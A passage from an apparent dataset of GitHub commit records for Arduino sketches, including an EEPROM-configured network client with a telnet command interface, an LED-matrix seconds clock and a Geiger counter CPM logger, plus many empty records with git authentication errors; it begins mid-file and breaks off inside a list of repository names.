\/\/2 ASCII characters for each byte\n if (MACinput.length() == 12)\n {\n for (int i = 0; i < 6; i++)\n {\n int val = h2d(MACinput.charAt(2 * i)) * 16 + h2d(MACinput.charAt(2 * i + 1));\n EEPROM.write(i + 1, val);\n }\n \/\/set these to 0xAA to indicate that an address has been written\n EEPROM.write(0, 170);\n EEPROM.write(7, 170);\n Serial.println(F(\"wrote MAC address to EEPROM\"));\n Serial.println(getMACAddress());\n if (telnetClient) {\n thisServer.println(F(\"wrote MAC address to EEPROM\"));\n thisServer.println(getMACAddress());\n }\n }\n else\n {\n Serial.println(F(\"unexpected MAC input\"));\n if (telnetClient) {\n thisServer.println(F(\"unexpected MAC input\"));\n }\n }\n }\n else if (inputString==\":MAC?\")\n {\n if (telnetClient) {\n thisServer.println(getMACAddress());\n }\n Serial.println(getMACAddress());\n }\n else if (inputString==\":SERVER?\")\n {\n if (telnetClient) {thisServer.println(webServer);}\n Serial.println(webServer);\n }\n else if (inputString.startsWith(\":SERVER:\"))\n {\n \/\/writeServerAddress(inputString);\n const int eepromOffset = 8;\n \/\/take the next set of characters and store them to EEPROM\n String serverInput = inputString.substring(8);\n \/\/trim\n serverInput.trim();\n\n String sub;\n int dotIndex1 = 0;\n int dotIndex2;\/\/=serverInput.indexOf('.');\n int val;\n char charBuffer[4];\n\n\n \/\/Address is to be dot separated, e.g. 192.168.40.11\n for (int i = 0; i < 4; i++)\n {\n dotIndex2 = serverInput.indexOf('.', dotIndex1);\n if (dotIndex2 == -1)\n {\n sub = serverInput.substring(dotIndex1);\n }\n else\n {\n sub = serverInput.substring(dotIndex1, dotIndex2);\n }\n\n sub.toCharArray(charBuffer, 4);\n Serial.println(charBuffer);\n if (telnetClient) {thisServer.println(charBuffer);}\n val = atoi(charBuffer);\n EEPROM.write(i + eepromOffset + 1, val);\n dotIndex1 = dotIndex2 + 1;\n }\n \/\/set these to 0xAA to indicate that an address has been written\n EEPROM.write(eepromOffset, 170);\n EEPROM.write(eepromOffset + 5, 170);\n Serial.println(F(\"wrote server address to EEPROM\"));\n\n int aaa = EEPROM.read(9);\n int bbb = EEPROM.read(10);\n int ccc = EEPROM.read(11);\n int ddd = EEPROM.read(12);\n\n \/\/ use the numeric IP instead of the name for the server:\n webServer = IPAddress(aaa, bbb, ccc, ddd); \/\/ numeric IP for server\n Serial.println(F(\"server address reset: \"));\n Serial.println(webServer);\n if (telnetClient) {\n thisServer.println(F(\"wrote server address to EEPROM\"));\n thisServer.println(F(\"server address reset: \"));\n thisServer.println(webServer);\n }\n }\n else if (inputString.startsWith(\":PORT:\"))\n {\n \/\/writeServerPort(inputString);\n const int eepromOffset = 14;\n unsigned int val;\n char charBuffer[6];\n\n \/\/take the next set of characters and store them to EEPROM\n String serverInput = inputString.substring(6);\n \/\/trim\n serverInput.trim();\n \/\/the result should be an ASCII representation of a unsigned integer (word)\n \/\/convert to unsigned integer\n serverInput.toCharArray(charBuffer, 6);\n val = atol(charBuffer);\n \/\/store each byte to EEPROM\n EEPROM.write(eepromOffset + 1, highByte(val));\n EEPROM.write(eepromOffset + 2, lowByte(val));\n\n \/\/set these to 0xAA to indicate that an address has been written\n EEPROM.write(eepromOffset, 170);\n EEPROM.write(eepromOffset + 3, 170);\n port = val;\n Serial.println(charBuffer);\n Serial.println(F(\"wrote server port to EEPROM\"));\n Serial.println(F(\"Server port reset:\"));\n Serial.println(port);\n if (telnetClient) {\n thisServer.println(charBuffer);\n thisServer.println(F(\"wrote server port to EEPROM\"));\n thisServer.println(F(\"Server port reset:\"));\n thisServer.println(port);\n }\n }\n else if (inputString==\":PORT?\")\n {\n if (telnetClient) {\n thisServer.println(port, DEC);\n }\n Serial.println(port, DEC);\n }\n else if (inputString.startsWith(\":VERSION?\"))\n {\n if (telnetClient) {\n thisServer.println(\"version: \" + versionID);\n }\n Serial.println(\"version: \" + versionID);\n }\n else if (inputString==\":CLIENT?\")\n {\n if (telnetClient) {\n thisServer.println(Ethernet.localIP());\n }\n Serial.println(Ethernet.localIP());\n }\n else if (inputString==\":STATUS:SYSTEM?\")\n {\n if (telnetClient) {\n thisServer.println(systemStatus, DEC);\n }\n Serial.println(systemStatus, DEC);\n }\n else if (inputString.startsWith(\":STATUS:SYSTEM:\"))\n {\n \/\/writeSystemStatus(inputString);\n char charBuffer[6];\n\n \/\/take the next set of characters\n String statusInput = inputString.substring(8);\n \/\/trim\n statusInput.trim();\n \/\/the result should be an ASCII representation of a unsigned integer (word)\n \/\/convert to unsigned integer\n statusInput.toCharArray(charBuffer, 6);\n systemStatus = atol(charBuffer);\n Serial.println(charBuffer);\n Serial.println(F(\"set system status\"));\n if (telnetClient) {\n thisServer.println(charBuffer);\n thisServer.println(F(\"set system status\"));\n }\n }\n else\n {\n if (telnetClient) {\n thisServer.println(F(\"Input not understood\"));\n }\n Serial.println(F(\"Input not understood\"));\n }\n\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\n\n\nunsigned char h2d(unsigned char hex)\n{\n if (hex > 0x39) hex -= 7; \/\/ adjust for hex letters upper or lower case\n return (hex & 0xf);\n}\n\nString getMACAddress()\n{\n String MACAddress = \"\";\n \/\/read MAC address from EEPROM\n for (int i = 1; i < 6; i++)\n {\n \/\/take care for the address offset\n MACAddress += String(EEPROM.read(i), HEX);\n MACAddress += \"-\";\n }\n MACAddress += String(EEPROM.read(6), HEX);\n\n\n return MACAddress;\n\n}\n\nboolean sendRequest(String control, String state)\n{\n\n \/\/added GET alternative per http:\/\/forum.arduino.cc\/index.php\/topic,44551.0.html\n\n unsigned long timeOut = 10000;\n unsigned long startTime;\n boolean retVal = false;\n String servicePage = \"GET \/WebServiceRemotePower.asmx\/AndonListener?\";\n String tempStr = \"\";\n String content = \"ClientMacAddress=\";\n content += getMACAddress(); \/\/\"00-00-00-00-00-05\";\/\/\n content += \"&ControlName=\";\n content += control;\n content += \"&ControlState=\";\n content += state;\n\n Serial.println(F(\"connecting...\"));\n \/\/ if you get a connection, report back via serial:\n client.flush();\n if (client.connect(webServer, port))\n {\n Serial.println(F(\"connected\"));\n \/\/ Make a HTTP request:\n Serial.print(servicePage);\n Serial.print(content);\n Serial.println(F(\" HTTP\/1.1\"));\n client.print(servicePage);\n client.print(content);\n client.println(F(\" HTTP\/1.1\"));\n Serial.print(F(\"Host: \"));\n client.print(F(\"Host: \"));\n Serial.println(webServer);\n client.println(webServer);\n Serial.println(F(\"Connection: close\"));\n client.println(F(\"Connection: close\"));\n Serial.println();\n client.println();\n\n startTime = millis();\n while (millis() - startTime < timeOut && client.connected())\n {\n tempStr = clientReadServerResponseLine(client);\n tempStr.trim();\n Serial.println(tempStr);\n if (tempStr.startsWith(\"HTTP\/1.1 200 OK\"))\n {\n retVal = true;\n }\n }\n client.stop();\n }\n else\n {\n retVal = false;\n \/\/ if you didn't get a connection to the server:\n Serial.println(F(\"connection failed\"));\n }\n\n return retVal;\n}\n\nString clientReadServerResponseLine(EthernetClient &_client)\n{\n String returnString = \"\";\n while (_client.connected())\n {\n if (_client.available())\n {\n \/\/ get the new byte:\n char inChar = _client.read();\n \/\/ add it to the inputString:\n returnString += inChar;\n if (inChar == '\\n')\n {\n break;\n }\n }\n }\n return returnString;\n}\n\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent()\n{\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n\nvoid checkForTelnetClientMessage()\n{\n telnetClient = thisServer.available();\n\n if (telnetClient) {\n char inChar = telnetClient.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n\n\/\/flash status provides status indications for systems with a red and a green LED\n\/\/when all is well (status 0), the green led is given a \"fade\"\n\/\/when an error occurs, status >0) the red led will flash out a number equal to status\n\/\/ int status: the status number, where zero indicates system OK\n\/\/ int StatusTimeIndex: this is a index passed by reference. it only needs to be initialized to zero in the calling program\n\/\/ the function will otherwise control its incrementation between zero and 'statusCounts' then back to zero\n\/\/ int GreenBrightness: when status is zero, sets the value based on a triangle wave\n\/\/ when status is non-zero, value is set to zero\n\/\/ int RedBrightness: when status is non-zero, value is set to flash out the status number\n\/\/ when status is zero, value is set to zero\nvoid flashStatus (int Status, int &StatusTimeIndex, byte &GreenBrightness, byte &RedBrightness)\n{\n \/\/status period is the total time before the status repeats\n const int statusPeriodMilliSeconds = 4000;\n \/\/status counts is the number of counts to be used in the status period\n const int statusCounts = 256;\n const int delayTime = statusPeriodMilliSeconds \/ 256;\n const int maxBrightnessGreen = 255;\n const int maxBrightnessRed = 200;\n const int errorFlashPeriod = statusCounts \/ 10;\n \/\/this is used to\n boolean redFlash = false;\n\n if (Status == 0)\n {\n GreenBrightness = maxBrightnessGreen - abs(StatusTimeIndex * 2 % (2 * maxBrightnessGreen) - maxBrightnessGreen);\n \/\/ RedBrightness = 200 - (GreenBrightness * 200\/255) ;\n RedBrightness = 0;\n }\n else\n {\n GreenBrightness = 0;\n\n if (StatusTimeIndex < (errorFlashPeriod * Status) && (StatusTimeIndex % errorFlashPeriod) < (errorFlashPeriod \/ 2))\n {\n redFlash = true;\n }\n RedBrightness = maxBrightnessRed * redFlash;\n }\n StatusTimeIndex = (StatusTimeIndex + 1) % statusCounts;\n \/\/delay(500);\n delay(delayTime);\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'T03801_v1_8_0\/T03801_v1_8_0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4daac6f7ac81559972940c35013455f2a30d305d","subject":"better debug output??","message":"better debug output??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3d776ae3612031b8448b8325a9ba44e7844c7f4f","subject":"Create TwoBoards8.ino","message":"Create TwoBoards8.ino","repos":"eyalsch\/60Seconds-Clock-LED-Matrix,eyalsch\/60Seconds-Clock-LED-Matrix","old_file":"TwoBoards8\/TwoBoards8.ino","new_file":"TwoBoards8\/TwoBoards8.ino","new_contents":"#include <HT1632.h>\n#include <BigNumbers8.h>\n\nconst int pinCS1 = 8;\nconst int pinWR = 7;\nconst int pinDATA = 6;\nconst int pinCLK= 9;\n\nunsigned long LastSecond=0;\nunsigned long CurrSecond;\nbyte num1, num2;\n\nchar IMG[128];\n\nbyte bitswap (byte x)\n{\n byte result;\n\n asm(\"mov __tmp_reg__, %[in] \\n\\t\"\n \"lsl __tmp_reg__ \\n\\t\" \/* shift out high bit to carry *\/\n \"ror %[out] \\n\\t\" \/* rotate carry __tmp_reg__to low bit (eventually) *\/\n \"lsl __tmp_reg__ \\n\\t\" \/* 2 *\/\n \"ror %[out] \\n\\t\"\n \"lsl __tmp_reg__ \\n\\t\" \/* 3 *\/\n \"ror %[out] \\n\\t\"\n \"lsl __tmp_reg__ \\n\\t\" \/* 4 *\/\n \"ror %[out] \\n\\t\"\n\n \"lsl __tmp_reg__ \\n\\t\" \/* 5 *\/\n \"ror %[out] \\n\\t\"\n \"lsl __tmp_reg__ \\n\\t\" \/* 6 *\/\n \"ror %[out] \\n\\t\"\n \"lsl __tmp_reg__ \\n\\t\" \/* 7 *\/\n \"ror %[out] \\n\\t\"\n \"lsl __tmp_reg__ \\n\\t\" \/* 8 *\/\n \"ror %[out] \\n\\t\"\n: \n [out] \"=r\" (result) : \n [in] \"r\" (x));\n return(result);\n}\n\nvoid Break8(char IMG8[], byte y) {\n byte temp, temp2;\n if (y==0) {\n for (byte i=0; i<64; ++i) { \n IMG[2*i] = IMG8[i] >> 4;\n IMG[2*i+1] = IMG8[i] & 15;\n }\n }\n else {\n for (byte i=0; i<32; ++i) { \n temp = bitswap(IMG8[2*i]);\n temp2 = bitswap(IMG8[2*i+1]); \n\n IMG[127-4*i] = temp & 15;\n IMG[127-(4*i+1)] = temp >> 4 ;\n IMG[127-(4*i+2)] = temp2 & 15; \n IMG[127-(4*i+3)] = temp2 >> 4; \n }\n }\n\n HT1632.drawImage(IMG, IMG_BIG_WIDTH, IMG_BIG_HEIGHT, y, 0, 0);\n} \n\nvoid drawDigit(byte num, byte y) {\n switch (num) {\n case 0:\n Break8(IMG_0,y);\n break;\n case 1:\n Break8(IMG_1,y);\n break;\n case 2:\n Break8(IMG_2,y);\n break;\n case 3:\n Break8(IMG_3,y);\n break;\n case 4:\n Break8(IMG_4,y);\n break;\n case 5:\n Break8(IMG_5,y);\n break;\n case 6:\n Break8(IMG_6,y);\n break;\n case 7:\n Break8(IMG_7,y);\n break;\n case 8:\n Break8(IMG_8,y);\n break;\n case 9:\n Break8(IMG_9,y);\n break;\n }\n}\n\nvoid setup () {\n HT1632.begin(pinCS1, pinWR, pinDATA, pinCLK);\n}\n\n\n\nvoid loop () { \n HT1632.clear();\n\n CurrSecond=(millis()\/1000)%60;\n if (CurrSecond!=LastSecond) { \/\/ every second\n HT1632.clear();\n LastSecond=(millis()\/1000)%60;\n num1=LastSecond % 10;\n num2=(LastSecond\/10) % 10;\n\n drawDigit(num1,0);\n drawDigit(num2,32);\n HT1632.render();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TwoBoards8\/TwoBoards8.ino' did not match any file(s) known to git\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"bfa26d6f1000df26f63f1b00457ef36a70f84953","subject":"Create DTH33.ino","message":"Create DTH33.ino","repos":"sbushnell\/SmartThings_DHT33","old_file":"firmware\/examples\/DTH33.ino","new_file":"firmware\/examples\/DTH33.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sbushnell\/SmartThings_DHT33.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"01fc2707dbf423309d7a2238b8bb59e3ff2f1f93","subject":"Original geiger counter code from http:\/\/www.rhelectronics.net\/store\/radiation-detector-geiger-counter-diy-kit-second-edition.html","message":"Original geiger counter code from\nhttp:\/\/www.rhelectronics.net\/store\/radiation-detector-geiger-counter-diy-kit-second-edition.html\n","repos":"revspace\/geiger,revspace\/geiger","old_file":"geiger.ino","new_file":"geiger.ino","new_contents":"\/*Serial Communication for Radiation Detector Arduino Compatible DIY Kit ver 2.01 or higher\n* http:\/\/radiohobbystore.com\/radiation-detector-geiger-counter-diy-kit-second-edition.html\n* Allow to connect the kit to computer and use the kit with Radiation Logger PC software\n* http:\/\/radiohobbystore.com\/radiation-logger\/\n* This Arduino sketch written by Alex Boguslavsky RH Electronics; mail: support@radiohobbystore.com\n* CPM counting algorithm is very simple, it just collect GM Tube events during presettable log period.\n* For radiation monitoring station it's recommended to use 30-60 seconds logging period. Feel free to modify\n* or add functions to this sketch. This Arduino software is an example only for education purpose without any\n* warranty for precision radiation measurements. You are fully responsible for your safety in high\n* radiation area!!\n* --------------------------------------------------------------------------------------\n* WHAT IS CPM?\n* CPM (or counts per minute) is events quantity from Geiger Tube you get during one minute. Usually it used to \n* calculate a radiation level. Different GM Tubes has different quantity of CPM for background. Some tubes can produce\n* about 10-50 CPM for normal background, other GM Tube models produce 50-100 CPM or 0-5 CPM for same radiation level.\n* Please refer your GM Tube datasheet for more information. Just for reference here, SBM-20 can generate \n* about 10-50 CPM for normal background.\n* --------------------------------------------------------------------------------------\n* HOW TO CONNECT GEIGER KIT?\n* The kit 3 wires that should be connected to Arduino UNO board: 5V, GND and INT. PullUp resistor is included on\n* kit PCB. Connect INT wire to Digital Pin#2 (INT0), 5V to 5V, GND to GND. Then connect the Arduino with\n* USB cable to the computer and upload this sketch. \n*\/\n\n\n#include <SPI.h>\n#define LOG_PERIOD 15000 \/\/Logging period in milliseconds, recommended value 15000-60000.\n#define MAX_PERIOD 60000 \/\/Maximum logging period without modifying this sketch\n\nunsigned long counts; \/\/variable for GM Tube events\nunsigned long cpm; \/\/variable for CPM\nunsigned int multiplier; \/\/variable for calculation CPM in this sketch\nunsigned long previousMillis; \/\/variable for time measurement\nfloat uSv; \/\/ the measured microSiverts\nfloat ratio = 151.0; \/\/ the divide the cpm by ration to get uSv\n\nvoid tube_impulse(){ \/\/subprocedure for capturing events from Geiger Kit\n counts++;\n}\n\nvoid setup(){ \/\/setup subprocedure\n counts = 0;\n cpm = 0;\n multiplier = MAX_PERIOD \/ LOG_PERIOD; \/\/calculating multiplier, depend on your log period\n Serial.begin(9600);\n attachInterrupt(0, tube_impulse, FALLING); \/\/define external interrupts \n \n}\n\nvoid loop(){ \/\/main cycle\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis > LOG_PERIOD){\n previousMillis = currentMillis;\n cpm = counts * multiplier;\n \n Serial.println(cpm);\n uSv = cpm \/ ratio ;\n Serial.println(uSv);\n counts = 0;\n }\n \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'geiger.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"86beb519e96c22c3d3e6aff6896e52988b869950","subject":"kommentteja muutettu","message":"kommentteja muutettu","repos":"teemune\/TestiRepomies,teemune\/TestiRepomies","old_file":"arduinosketsi\/arduinosketsi.ino","new_file":"arduinosketsi\/arduinosketsi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/teemune\/TestiRepomies.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"baf590fba706a97eb1467a66055d61fa3deb590d","subject":"add the ample for esp wifi","message":"add the ample for esp wifi","repos":"telekom\/dthack17,telekom\/dthack17,telekom\/dthack17,telekom\/dthack17","old_file":"smartampel\/Ampel.ino","new_file":"smartampel\/Ampel.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/telekom\/dthack17.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f16ba40fc78bb7d1444122ce9f053a237fb8a144","subject":"Create Soprano.ino","message":"Create Soprano.ino","repos":"SirenCreatorTeam\/Siren_Zwei","old_file":"Arduino\/Soprano\/Soprano.ino","new_file":"Arduino\/Soprano\/Soprano.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SirenCreatorTeam\/Siren_Zwei.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"329291710e2f8ce15ad00d965135148aec07e8dc","subject":"Version 4.0.8a; Repaired type in OLED code","message":"Version 4.0.8a; Repaired type in OLED code\n","repos":"things4u\/ESP-1ch-Gateway-v4.0,things4u\/ESP-1ch-Gateway-v4.0,things4u\/ESP-1ch-Gateway-v4.0,things4u\/ESP-1ch-Gateway-v4.0","old_file":"ESP-sc-gway\/ESP-sc-gway.ino","new_file":"ESP-sc-gway\/ESP-sc-gway.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/things4u\/ESP-1ch-Gateway-v4.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4519e4b6a8d7988551bae35298f2cfdb8ef1d288","subject":"Added DHCP-based chat server example","message":"Added DHCP-based chat server example\n","repos":"kidswong999\/Arduino,OpenDevice\/Arduino,bugobliterator\/BUAGI,jaej-dev\/Arduino,odbol\/Arduino,PaoloP74\/Arduino,nandojve\/Arduino,zederson\/Arduino,danielohh\/Energia,ForestNymph\/Arduino_sources,NoPinky\/Energia,i--storm\/Energia,onovy\/Arduino,OpenDevice\/Arduino,pasky\/Energia,sanyaade-iot\/Energia,snargledorf\/Arduino,mateuszdw\/Arduino,pasky\/Energia,sanyaade-iot\/Energia,qtonthat\/Energia,lulufei\/Arduino,NoPinky\/Energia,lulufei\/Arduino,ntruchsess\/Arduino-1,bobintornado\/Energia,jamesrob4\/Arduino,lukeWal\/Arduino,Chris--A\/Arduino,Chris--A\/Arduino,smily77\/Arduino,drpjk\/Arduino,gurbrinder\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,plinioseniore\/Arduino,rcook\/DesignLab,wayoda\/Arduino,garci66\/Arduino,probonopd\/Arduino,01org\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,HCastano\/Arduino,tbowmo\/Arduino,scdls\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stickbreaker\/Arduino,snargledorf\/Arduino,snargledorf\/Arduino,jomolinare\/Arduino,eduardocasarin\/Arduino,eddyst\/Arduino-SourceCode,majenkotech\/Arduino,ssvs111\/Arduino,karlitxo\/Arduino,niggor\/Arduino_cc,sanyaade-iot\/Energia,henningpohl\/Arduino,battosai30\/Energia,KlaasDeNys\/Arduino,radut\/Arduino,radut\/Arduino,kidswong999\/Arduino,zederson\/Arduino,laylthe\/Arduino,me-no-dev\/Arduino-1,weera00\/Arduino,i--storm\/Energia,xxxajk\/Arduino-1,zenmanenergy\/Arduino,drpjk\/Arduino,plinioseniore\/Arduino,sanyaade-iot\/Arduino-1,byran\/Arduino,andyvand\/Arduino-1,danielohh\/Energia,ThoughtWorksIoTGurgaon\/Arduino,ssvs111\/Arduino,raimohanska\/Arduino,jaej-dev\/Arduino,bsmr-arduino\/Arduino,mattvenn\/Arduino,ForestNymph\/Arduino_sources,shannonshsu\/Arduino,adafruit\/ESP8266-Arduino,lukeWal\/Arduino,gberl001\/Arduino,danielohh\/Energia,ogahara\/Arduino,gurbrinder\/Arduino,mattvenn\/Arduino,benwolfe\/esp8266-Arduino,ashwin713\/Arduino,HCastano\/Arduino,01org\/Arduino,UDOOboard\/Arduino,radiolok\/Energia,mangelajo\/Arduino,linino\/Arduino,chaveiro\/Arduino,Orthogonal-Systems\/arduino-libs,piersoft\/esp8266-Arduino,weera00\/Arduino,eggfly\/arduino,shiitakeo\/Arduino,shiitakeo\/Arduino,vigneshmanix\/Energia,ThoughtWorksIoTGurgaon\/Arduino,NeuralSpaz\/Arduino,paulo-raca\/ESP8266-Arduino,jaimemaretoli\/Arduino,acosinwork\/Arduino,shannonshsu\/Arduino,ssvs111\/Arduino,stevemayhew\/Arduino,jabezGit\/Arduino,tannewt\/Arduino,stevemarple\/Arduino-org,tskurauskas\/Arduino,Cloudino\/Cloudino-Arduino-IDE,koltegirish\/Arduino,plaintea\/esp8266-Arduino,niggor\/Arduino_cc,ThoughtWorksIoTGurgaon\/Arduino,Gourav2906\/Arduino,mangelajo\/Arduino,tomkrus007\/Arduino,ogahara\/Arduino,tommyli2014\/Arduino,adafruit\/ESP8266-Arduino,croberts15\/Energia,pdNor\/Arduino,i--storm\/Energia,NaSymbol\/Arduino,onovy\/Arduino,ari-analytics\/Arduino,PaoloP74\/Arduino,andrealmeidadomingues\/Arduino,bsmr-arduino\/Arduino,acosinwork\/Arduino,championswimmer\/Arduino,eddyst\/Arduino-SourceCode,brianonn\/Energia,PeterVH\/Arduino,adafruit\/ESP8266-Arduino,byran\/Arduino,SmartArduino\/Arduino-1,nkolban\/Arduino,snargledorf\/Arduino,adafruit\/ESP8266-Arduino,NoPinky\/Energia,chaveiro\/Arduino,bsmr-arduino\/Arduino,jmgonzalez00449\/Arduino,UDOOboard\/Arduino,mateuszdw\/Arduino,NoPinky\/Energia,andrealmeidadomingues\/Arduino,Protoneer\/Arduino,fungxu\/Arduino,pdNor\/Arduino,UDOOboard\/Arduino,acosinwork\/Arduino,shiitakeo\/Arduino,kidswong999\/Arduino,Protoneer\/Arduino,pdNor\/Arduino,spapadim\/Arduino,dvdvideo1234\/Energia,superboonie\/Arduino,Alfredynho\/AgroSis,wayoda\/Arduino,bobintornado\/Energia,HCastano\/Arduino,nandojve\/Arduino,tommyli2014\/Arduino,Cloudino\/Arduino,DavidUser\/Energia,martianmartin\/Energia,mattvenn\/Arduino,mboufos\/esp8266-Arduino,radiolok\/Energia,UDOOboard\/Arduino,i--storm\/Energia,myrtleTree33\/Arduino,damellis\/Arduino,mangelajo\/Arduino,NicoHood\/Arduino,jabezGit\/Arduino,acosinwork\/Arduino,ccoenen\/Arduino,tskurauskas\/Arduino,stickbreaker\/Arduino,vigneshmanix\/Energia,stevemarple\/Arduino,bsmr-arduino\/Arduino,niggor\/Arduino_cc,NeuralSpaz\/Arduino,plinioseniore\/Arduino,bigjosh\/Arduino,ForestNymph\/Arduino_sources,Cloudino\/Arduino,snargledorf\/Arduino,dvdvideo1234\/Energia,dvdvideo1234\/Energia,andyvand\/Arduino-1,kidswong999\/Arduino,gestrem\/Arduino,leftbrainstrain\/Arduino-ESP8266,wayoda\/Arduino,OpenDevice\/Arduino,eeijcea\/Arduino-1,zaiexx\/Arduino,OpenDevice\/Arduino,NicoHood\/Arduino,jamesrob4\/Arduino,zenmanenergy\/Arduino,jaimemaretoli\/Arduino,wdoganowski\/Arduino,zederson\/Arduino,talhaburak\/Arduino,smily77\/Arduino,diydrones\/Arduino,ms-iot\/Arduino,steamboating\/Arduino,paulmand3l\/Arduino,garci66\/Arduino,bsmr-arduino\/Arduino,NeuralSpaz\/Arduino,Gourav2906\/Arduino,wdoganowski\/Arduino,chaveiro\/Arduino,KlaasDeNys\/Arduino,tskurauskas\/Arduino,linino\/Arduino,tomkrus007\/Arduino,HCastano\/Arduino,mc-hamster\/esp8266-Arduino,jmgonzalez00449\/Arduino,381426068\/Arduino,benwolfe\/esp8266-Arduino,PeterVH\/Arduino,stevemayhew\/Arduino,spapadim\/Arduino,gonium\/Arduino,zacinaction\/Energia,spapadim\/Arduino,01org\/Arduino,fungxu\/Arduino,ektor5\/Arduino,gurbrinder\/Arduino,ms-iot\/Arduino,gurbrinder\/Arduino,gestrem\/Arduino,SmartArduino\/Arduino-1,OpenDevice\/Arduino,ektor5\/Arduino,jamesrob4\/Arduino,tomkrus007\/Arduino,drpjk\/Arduino,paulmand3l\/Arduino,wilhelmryan\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bobintornado\/Energia,brianonn\/Energia,gberl001\/Arduino,koltegirish\/Arduino,nandojve\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tomkrus007\/Arduino,nandojve\/Arduino,croberts15\/Energia,Chris--A\/Arduino,bobintornado\/Energia,zenmanenergy\/Arduino,spapadim\/Arduino,eggfly\/arduino,henningpohl\/Arduino,qtonthat\/Energia,karlitxo\/Arduino,myrtleTree33\/Arduino,ari-analytics\/Arduino,karlitxo\/Arduino,spapadim\/Arduino,danielohh\/Energia,xxxajk\/Arduino-1,ntruchsess\/Arduino-1,gestrem\/Arduino,radut\/Arduino,jaej-dev\/Arduino,smily77\/Arduino,me-no-dev\/Arduino-1,karlitxo\/Arduino,leftbrainstrain\/Arduino-ESP8266,ogahara\/Arduino,lukeWal\/Arduino,radut\/Arduino,tskurauskas\/Arduino,superboonie\/Arduino,superboonie\/Arduino,plinioseniore\/Arduino,i--storm\/Energia,PaintYourDragon\/Arduino,ogferreiro\/Arduino,PaintYourDragon\/Arduino,adamkh\/Arduino,EmuxEvans\/Arduino,arunkuttiyara\/Arduino,mangelajo\/Arduino,ashwin713\/Arduino,nkolban\/Arduino,arunkuttiyara\/Arduino,gonium\/Arduino,dvdvideo1234\/Energia,eeijcea\/Arduino-1,snargledorf\/Arduino,chaveiro\/Arduino,wdoganowski\/Arduino,croberts15\/Energia,rodibot\/Arduino,henningpohl\/Arduino,drpjk\/Arduino,ntruchsess\/Arduino-1,Ramoonus\/Arduino,ikbelkirasan\/Arduino,bugobliterator\/BUAGI,wayoda\/Arduino,eduardocasarin\/Arduino,raimohanska\/Arduino,radiolok\/Energia,croberts15\/Energia,eduardocasarin\/Arduino,plinioseniore\/Arduino,sanyaade-iot\/Arduino-1,kidswong999\/Arduino,acosinwork\/Arduino,lukeWal\/Arduino,talhaburak\/Arduino,majenkotech\/Arduino,smily77\/Arduino,eeijcea\/Arduino-1,Chris--A\/Arduino,ikbelkirasan\/Arduino,NoPinky\/Energia,jabezGit\/Arduino,DavidUser\/Energia,adamkh\/Arduino,SmartArduino\/Arduino-1,Protoneer\/Ar